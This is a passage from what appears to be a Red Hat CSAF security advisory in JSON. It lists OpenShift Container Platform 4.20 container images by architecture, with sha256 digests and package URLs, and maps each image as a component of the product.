"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"product_id": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/azure-kms-encryption-provider-rhel9@sha256%3Af7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9\u0026tag=1781111957"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Aee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781181888"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3A450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781291207"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-hypershift-rhel9@sha256%3Af01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-hypershift-rhel9\u0026tag=1781660144"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3Af811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781695012"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3A7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781694981"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"product_id": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/oc-mirror-plugin-rhel9@sha256%3Aecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/oc-mirror-plugin-rhel9\u0026tag=1781196942"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781688743"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3Ad3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781639027"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3A20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781197253"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3Ab9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781687639"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781626550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3A638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781638907"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-kube-apiserver-rhel9-operator@sha256%3Ab66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator\u0026tag=1781133392"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-insights-rhel9-operator@sha256%3A050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-insights-rhel9-operator\u0026tag=1781270924"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3Acbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781694073"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3A203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781572534"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-openshift-apiserver-rhel9@sha256%3A7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9\u0026tag=1781196883"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-rhel9@sha256%3A48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9\u0026tag=1781567010"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3A8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781178474"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-microshift-rhel9@sha256%3Aad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9\u0026tag=1781566906"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64"
},
"product_reference": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64"
},
"product_reference": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x"
},
"product_reference": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64"
},
"product_reference": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64"
},
"product_reference": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64"
},
"product_reference": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64"
},
"product_reference": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x"
},
"product_reference": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le as a component of Red Hat OpenShift Container Platform 4.20",
"product_id": "Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le"
},
"product_reference": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Container Platform 4.20"
},
{
"category": "default_component_of",
"full_product_name": {
